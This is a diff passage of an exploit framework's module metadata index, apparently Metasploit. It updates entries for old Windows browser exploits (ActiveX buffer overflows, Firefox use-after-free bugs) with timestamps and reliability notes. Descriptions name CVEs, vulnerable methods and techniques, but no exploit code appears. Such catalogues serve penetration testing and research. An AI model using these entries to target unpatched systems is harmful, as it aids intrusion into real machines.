specifying an\n overly long string to the ProductName object parameter, the stack\n is overwritten.", "references": [ "CVE-2006-2086", "OSVDB-25001", @@ -145445,17 +148265,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Pro SP3 English", "Debugging" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb", "is_install_path": true, "ref_name": "windows/browser/juniper_sslvpn_ive_setupdll", @@ -145463,6 +148279,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145470,16 +148295,14 @@ "exploit_windows/browser/kazaa_altnet_heap": { "name": "Kazaa Altnet Download Manager ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/kazaa_altnet_heap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-10-03", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the Altnet Download Manager ActiveX\n Control (amd4.dll) bundled with Kazaa Media Desktop 3.2.7.\n By sending an overly long string to the \"Install()\" method, an attacker may be\n able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in the Altnet Download Manager ActiveX\n Control (amd4.dll) bundled with Kazaa Media Desktop 3.2.7.\n By sending an overly long string to the \"Install()\" method, an attacker may be\n able to execute arbitrary code.", "references": [ "CVE-2007-5217", "OSVDB-37785", @@ -145488,16 +148311,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2 / IE 6.0SP1 English" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/kazaa_altnet_heap.rb", "is_install_path": true, "ref_name": "windows/browser/kazaa_altnet_heap", @@ -145505,6 +148324,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145512,9 +148340,7 @@ "exploit_windows/browser/keyhelp_launchtripane_exec": { "name": "KeyHelp ActiveX LaunchTriPane Remote Code Execution Vulnerability", "fullname": "exploit/windows/browser/keyhelp_launchtripane_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-26", "type": "exploit", @@ -145522,7 +148348,7 @@ "rgod ", "juan vazquez " ], - "description": "This module exploits a code execution vulnerability in the KeyScript ActiveX\n control from keyhelp.ocx. It is packaged in several products or GE, such as\n Proficy Historian 4.5, 4.0, 3.5, and 3.1, Proficy HMI/SCADA 5.1 and 5.0, Proficy\n Pulse 1.0, Proficy Batch Execution 5.6, and SI7 I/O Driver between 7.20 and 7.42.\n When the control is installed with these products, the function \"LaunchTriPane\"\n will use ShellExecute to launch \"hh.exe\", with user controlled data as parameters.\n Because of this, the \"-decompile\" option can be abused to write arbitrary files on\n the remote system.\n\n Code execution can be achieved by first uploading the payload to the remote\n machine, and then upload another mof file, which enables Windows Management\n Instrumentation service to execute it. Please note that this module currently only\n works for Windows before Vista.\n\n On the other hand, the target host must have the WebClient service (WebDAV\n Mini-Redirector) enabled. It is enabled and automatically started by default on\n Windows XP SP3", + "description": "This module exploits a code execution vulnerability in the KeyScript ActiveX\n control from keyhelp.ocx. It is packaged in several products or GE, such as\n Proficy Historian 4.5, 4.0, 3.5, and 3.1, Proficy HMI/SCADA 5.1 and 5.0, Proficy\n Pulse 1.0, Proficy Batch Execution 5.6, and SI7 I/O Driver between 7.20 and 7.42.\n When the control is installed with these products, the function \"LaunchTriPane\"\n will use ShellExecute to launch \"hh.exe\", with user controlled data as parameters.\n Because of this, the \"-decompile\" option can be abused to write arbitrary files on\n the remote system.\n\n Code execution can be achieved by first uploading the payload to the remote\n machine, and then upload another mof file, which enables Windows Management\n Instrumentation service to execute it. Please note that this module currently only\n works for Windows before Vista.\n\n On the other hand, the target host must have the WebClient service (WebDAV\n Mini-Redirector) enabled. It is enabled and automatically started by default on\n Windows XP SP3", "references": [ "CVE-2012-2516", "OSVDB-83311", @@ -145533,16 +148359,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb", "is_install_path": true, "ref_name": "windows/browser/keyhelp_launchtripane_exec", @@ -145550,6 +148372,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -145557,16 +148388,14 @@ "exploit_windows/browser/logitechvideocall_start": { "name": "Logitech VideoCall ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/logitechvideocall_start", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-05-31", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the Logitech VideoCall ActiveX\n Control (wcamxmp.dll 2.0.3470.448). By sending an overly long string to the\n \"Start()\" method, an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in the Logitech VideoCall ActiveX\n Control (wcamxmp.dll 2.0.3470.448). By sending an overly long string to the\n \"Start()\" method, an attacker may be able to execute arbitrary code.", "references": [ "CVE-2007-2918", "OSVDB-36820", @@ -145575,16 +148404,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Pro SP2 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/logitechvideocall_start.rb", "is_install_path": true, "ref_name": "windows/browser/logitechvideocall_start", @@ -145592,6 +148417,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145599,16 +148433,14 @@ "exploit_windows/browser/lpviewer_url": { "name": "iseemedia / Roxio / MGI Software LPViewer ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/lpviewer_url", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-06", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in LPViewer ActiveX control (LPControll.dll 3.2.0.2). When\n sending an overly long string to the URL() property an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in LPViewer ActiveX control (LPControll.dll 3.2.0.2). When\n sending an overly long string to the URL() property an attacker may be able to execute arbitrary code.", "references": [ "CVE-2008-4384", "OSVDB-48946", @@ -145618,16 +148450,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/lpviewer_url.rb", "is_install_path": true, "ref_name": "windows/browser/lpviewer_url", @@ -145635,6 +148463,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145642,16 +148479,14 @@ "exploit_windows/browser/macrovision_downloadandexecute": { "name": "Macrovision InstallShield Update Service Buffer Overflow", "fullname": "exploit/windows/browser/macrovision_downloadandexecute", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-10-31", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Macrovision InstallShield Update\n Service(Isusweb.dll 6.0.100.54472). By passing an overly long ProductCode string to\n the DownloadAndExecute method, an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Macrovision InstallShield Update\n Service(Isusweb.dll 6.0.100.54472). By passing an overly long ProductCode string to\n the DownloadAndExecute method, an attacker may be able to execute arbitrary code.", "references": [ "CVE-2007-5660", "OSVDB-38347" @@ -145659,17 +148494,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0/SP1 Pro English", "Windows 2000 Pro English All" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/macrovision_downloadandexecute.rb", "is_install_path": true, "ref_name": "windows/browser/macrovision_downloadandexecute", @@ -145677,6 +148508,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145684,9 +148524,7 @@ "exploit_windows/browser/macrovision_unsafe": { "name": "Macrovision InstallShield Update Service ActiveX Unsafe Method", "fullname": "exploit/windows/browser/macrovision_unsafe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-10-20", "type": "exploit", @@ -145702,16 +148540,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/macrovision_unsafe.rb", "is_install_path": true, "ref_name": "windows/browser/macrovision_unsafe", @@ -145719,6 +148553,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145726,9 +148569,7 @@ "exploit_windows/browser/malwarebytes_update_exec": { "name": "Malwarebytes Anti-Malware and Anti-Exploit Update Remote Code Execution", "fullname": "exploit/windows/browser/malwarebytes_update_exec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2014-12-16", "type": "exploit", @@ -145737,25 +148578,21 @@ "Gabor Seljan", "todb " ], - "description": "This module exploits a vulnerability in the update functionality of\n Malwarebytes Anti-Malware consumer before 2.0.3 and Malwarebytes\n Anti-Exploit consumer 1.03.1.1220.\n Due to the lack of proper update package validation, a man-in-the-middle\n (MITM) attacker could execute arbitrary code by spoofing the update server\n data-cdn.mbamupdates.com and uploading an executable. This module has\n been tested successfully with MBAM 2.0.2.1012 and MBAE 1.03.1.1220.", + "description": "This module exploits a vulnerability in the update functionality of\n Malwarebytes Anti-Malware consumer before 2.0.3 and Malwarebytes\n Anti-Exploit consumer 1.03.1.1220.\n Due to the lack of proper update package validation, a man-in-the-middle\n (MITM) attacker could execute arbitrary code by spoofing the update server\n data-cdn.mbamupdates.com and uploading an executable. This module has\n been tested successfully with MBAM 2.0.2.1012 and MBAE 1.03.1.1220.", "references": [ "CVE-2014-4936", "OSVDB-116050", - "URL-http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and" + "URL-http://web.archive.org/web/20241212224255/http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2022-06-10 08:47:41 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/malwarebytes_update_exec.rb", "is_install_path": true, "ref_name": "windows/browser/malwarebytes_update_exec", @@ -145763,6 +148600,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145770,9 +148616,7 @@ "exploit_windows/browser/maxthon_history_xcs": { "name": "Maxthon3 about:history XCS Trusted Zone Code Execution", "fullname": "exploit/windows/browser/maxthon_history_xcs", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-11-26", "type": "exploit", @@ -145781,7 +148625,7 @@ "sinn3r ", "juan vazquez " ], - "description": "Cross Context Scripting (XCS) is possible in the Maxthon about:history page.\n Injection in such privileged/trusted browser zone can be used to modify\n configuration settings and execute arbitrary commands.\n\n Please note this module only works against specific versions of XCS. Currently,\n we've only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000.", + "description": "Cross Context Scripting (XCS) is possible in the Maxthon about:history page.\n Injection in such privileged/trusted browser zone can be used to modify\n configuration settings and execute arbitrary commands.\n\n Please note this module only works against specific versions of XCS. Currently,\n we've only successfully tested on Maxthon 3.1.7 build 600 up to 3.2.2 build 1000.", "references": [ "OSVDB-88191", "EDB-23225", @@ -145790,16 +148634,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Maxthon 3 (prior to 3.3) on Windows" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/maxthon_history_xcs.rb", "is_install_path": true, "ref_name": "windows/browser/maxthon_history_xcs", @@ -145807,6 +148647,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145814,16 +148663,14 @@ "exploit_windows/browser/mcafee_mcsubmgr_vsprintf": { "name": "McAfee Subscription Manager Stack Buffer Overflow", "fullname": "exploit/windows/browser/mcafee_mcsubmgr_vsprintf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-08-01", "type": "exploit", "author": [ "skape " ], - "description": "This module exploits a flaw in the McAfee Subscription Manager ActiveX control.\n Due to an unsafe use of vsprintf, it is possible to trigger a stack buffer overflow by\n passing a large string to one of the COM-exposed routines, such as IsAppExpired.\n This vulnerability was discovered by Karl Lynn of eEye.", + "description": "This module exploits a flaw in the McAfee Subscription Manager ActiveX control.\n Due to an unsafe use of vsprintf, it is possible to trigger a stack buffer overflow by\n passing a large string to one of the COM-exposed routines, such as IsAppExpired.\n This vulnerability was discovered by Karl Lynn of eEye.", "references": [ "CVE-2006-3961", "OSVDB-27698", @@ -145832,16 +148679,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0/SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb", "is_install_path": true, "ref_name": "windows/browser/mcafee_mcsubmgr_vsprintf", @@ -145849,6 +148692,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145856,9 +148708,7 @@ "exploit_windows/browser/mcafee_mvt_exec": { "name": "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability", "fullname": "exploit/windows/browser/mcafee_mvt_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-04-30", "type": "exploit", @@ -145866,7 +148716,7 @@ "rgod", "sinn3r " ], - "description": "This module exploits a vulnerability found in McAfee Virtual Technician's\n MVTControl. This ActiveX control can be abused by using the GetObject() function\n to load additional unsafe classes such as WScript.Shell, therefore allowing remote\n code execution under the context of the user.", + "description": "This module exploits a vulnerability found in McAfee Virtual Technician's\n MVTControl. This ActiveX control can be abused by using the GetObject() function\n to load additional unsafe classes such as WScript.Shell, therefore allowing remote\n code execution under the context of the user.", "references": [ "CVE-2012-4598", "OSVDB-81657", @@ -145876,16 +148726,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/mcafee_mvt_exec.rb", "is_install_path": true, "ref_name": "windows/browser/mcafee_mvt_exec", @@ -145893,6 +148739,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145900,16 +148755,14 @@ "exploit_windows/browser/mcafeevisualtrace_tracetarget": { "name": "McAfee Visual Trace ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/mcafeevisualtrace_tracetarget", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-07-07", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the McAfee Visual Trace 3.25 ActiveX\n Control (NeoTraceExplorer.dll 1.0.0.1). By sending an overly long string to the\n \"TraceTarget()\" method, an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in the McAfee Visual Trace 3.25 ActiveX\n Control (NeoTraceExplorer.dll 1.0.0.1). By sending an overly long string to the\n \"TraceTarget()\" method, an attacker may be able to execute arbitrary code.", "references": [ "CVE-2006-6707", "OSVDB-32399", @@ -145918,16 +148771,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Pro SP2 English" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb", "is_install_path": true, "ref_name": "windows/browser/mcafeevisualtrace_tracetarget", @@ -145935,6 +148784,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145942,16 +148800,14 @@ "exploit_windows/browser/mirc_irc_url": { "name": "mIRC IRC URL Buffer Overflow", "fullname": "exploit/windows/browser/mirc_irc_url", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2003-10-13", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in mIRC 6.1. By\n submitting an overly long and specially crafted URL to\n the 'irc' protocol, an attacker can overwrite the buffer\n and control program execution.", + "description": "This module exploits a stack buffer overflow in mIRC 6.1. By\n submitting an overly long and specially crafted URL to\n the 'irc' protocol, an attacker can overwrite the buffer\n and control program execution.", "references": [ "CVE-2003-1336", "OSVDB-2665", @@ -145960,17 +148816,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro English All", "Windows XP Pro SP0/SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/mirc_irc_url.rb", "is_install_path": true, "ref_name": "windows/browser/mirc_irc_url", @@ -145978,6 +148830,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -145985,9 +148846,7 @@ "exploit_windows/browser/mozilla_attribchildremoved": { "name": "Firefox 8/9 AttributeChildRemoved() Use-After-Free", "fullname": "exploit/windows/browser/mozilla_attribchildremoved", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-12-06", "type": "exploit", @@ -145996,7 +148855,7 @@ "Lincoln ", "corelanc0d3r " ], - "description": "This module exploits a use-after-free vulnerability in Firefox 8/8.0.1 and 9/9.0.1.\n Removal of child nodes from the nsDOMAttribute can allow for a child\n to still be accessible after removal due to a premature notification\n of AttributeChildRemoved. Since mFirstChild is not set to NULL until\n after this call is made, this means the removed child will be accessible\n after it has been removed. By carefully manipulating the memory layout,\n this can lead to arbitrary code execution.", + "description": "This module exploits a use-after-free vulnerability in Firefox 8/8.0.1 and 9/9.0.1.\n Removal of child nodes from the nsDOMAttribute can allow for a child\n to still be accessible after removal due to a premature notification\n of AttributeChildRemoved. Since mFirstChild is not set to NULL until\n after this call is made, this means the removed child will be accessible\n after it has been removed. By carefully manipulating the memory layout,\n this can lead to arbitrary code execution.", "references": [ "CVE-2011-3659", "OSVDB-78736", @@ -146006,19 +148865,15 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP - Firefox 8 / 8.0.1", "Windows XP - Firefox 9", "Windows XP - Firefox 9.0.1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/mozilla_attribchildremoved.rb", "is_install_path": true, "ref_name": "windows/browser/mozilla_attribchildremoved", @@ -146026,6 +148881,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146033,9 +148897,7 @@ "exploit_windows/browser/mozilla_firefox_onreadystatechange": { "name": "Firefox onreadystatechange Event DocumentViewerImpl Use After Free", "fullname": "exploit/windows/browser/mozilla_firefox_onreadystatechange", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-25", "type": "exploit", @@ -146046,7 +148908,7 @@ "sinn3r ", "juan vazquez " ], - "description": "This module exploits a vulnerability found on Firefox 17.0.6, specifically a use\n after free of a DocumentViewerImpl object, triggered via a specially crafted web\n page using onreadystatechange events and the window.stop() API, as exploited in the\n wild on 2013 August to target Tor Browser users.", + "description": "This module exploits a vulnerability found on Firefox 17.0.6, specifically a use\n after free of a DocumentViewerImpl object, triggered via a specially crafted web\n page using onreadystatechange events and the window.stop() API, as exploited in the\n wild on 2013 August to target Tor Browser users.", "references": [ "CVE-2013-1690", "OSVDB-94584", @@ -146060,16 +148922,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Firefox 17 & Firefox 21 / Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb", "is_install_path": true, "ref_name": "windows/browser/mozilla_firefox_onreadystatechange", @@ -146077,6 +148935,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146084,9 +148951,7 @@ "exploit_windows/browser/mozilla_firefox_xmlserializer": { "name": "Firefox XMLSerializer Use After Free", "fullname": "exploit/windows/browser/mozilla_firefox_xmlserializer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-08", "type": "exploit", @@ -146094,7 +148959,7 @@ "regenrecht", "juan vazquez " ], - "description": "This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically\n a use-after-free of an Element object, when using the serializeToStream method\n with a specially crafted OutputStream defining its own write function. This module\n has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP\n SP3.", + "description": "This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically\n a use-after-free of an Element object, when using the serializeToStream method\n with a specially crafted OutputStream defining its own write function. This module\n has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP\n SP3.", "references": [ "CVE-2013-0753", "OSVDB-89021", @@ -146106,16 +148971,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Firefox 17 / Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb", "is_install_path": true, "ref_name": "windows/browser/mozilla_firefox_xmlserializer", @@ -146123,6 +148984,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146130,9 +149000,7 @@ "exploit_windows/browser/mozilla_interleaved_write": { "name": "Mozilla Firefox Interleaved document.write/appendChild Memory Corruption", "fullname": "exploit/windows/browser/mozilla_interleaved_write", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-10-25", "type": "exploit", @@ -146140,7 +149008,7 @@ "unknown", "scriptjunkie" ], - "description": "This module exploits a code execution vulnerability in Mozilla\n Firefox caused by interleaved calls to document.write and appendChild.\n This module was written based on a live exploit found in the wild.", + "description": "This module exploits a code execution vulnerability in Mozilla\n Firefox caused by interleaved calls to document.write and appendChild.\n This module was written based on a live exploit found in the wild.", "references": [ "CVE-2010-3765", "OSVDB-68905", @@ -146152,16 +149020,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Firefox 3.6.8 - 3.6.11, Windows XP/Windows Server 2003" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/mozilla_interleaved_write.rb", "is_install_path": true, "ref_name": "windows/browser/mozilla_interleaved_write", @@ -146169,6 +149033,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146176,9 +149049,7 @@ "exploit_windows/browser/mozilla_mchannel": { "name": "Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability", "fullname": "exploit/windows/browser/mozilla_mchannel", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-05-10", "type": "exploit", @@ -146187,7 +149058,7 @@ "Rh0", "mr_me " ], - "description": "This module exploits a use after free vulnerability in Mozilla\n Firefox 3.6.16. An OBJECT Element mChannel can be freed via the\n OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel\n becomes a dangling pointer and can be reused when setting the OBJECTs\n data attribute. (Discovered by regenrecht). This module uses heapspray\n with a minimal ROP chain to bypass DEP on Windows XP SP3. Additionlay,\n a windows 7 target was provided using JAVA 6 and below to avoid aslr.", + "description": "This module exploits a use after free vulnerability in Mozilla\n Firefox 3.6.16. An OBJECT Element mChannel can be freed via the\n OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel\n becomes a dangling pointer and can be reused when setting the OBJECTs\n data attribute. (Discovered by regenrecht). This module uses heapspray\n with a minimal ROP chain to bypass DEP on Windows XP SP3. Additionlay,\n a windows 7 target was provided using JAVA 6 and below to avoid aslr.", "references": [ "CVE-2011-0065", "OSVDB-72085", @@ -146197,18 +149068,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Firefox 3.6.16 on Windows XP SP3", "Firefox 3.6.16 on Windows 7 + Java" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/mozilla_mchannel.rb", "is_install_path": true, "ref_name": "windows/browser/mozilla_mchannel", @@ -146216,6 +149083,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -146223,9 +149099,7 @@ "exploit_windows/browser/mozilla_nssvgvalue": { "name": "Firefox nsSVGValue Out-of-Bounds Access Vulnerability", "fullname": "exploit/windows/browser/mozilla_nssvgvalue", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-12-06", "type": "exploit", @@ -146234,7 +149108,7 @@ "Lincoln ", "corelanc0d3r " ], - "description": "This module exploits an out-of-bounds access flaw in Firefox 7 and 8 (<= 8.0.1).\n The notification of 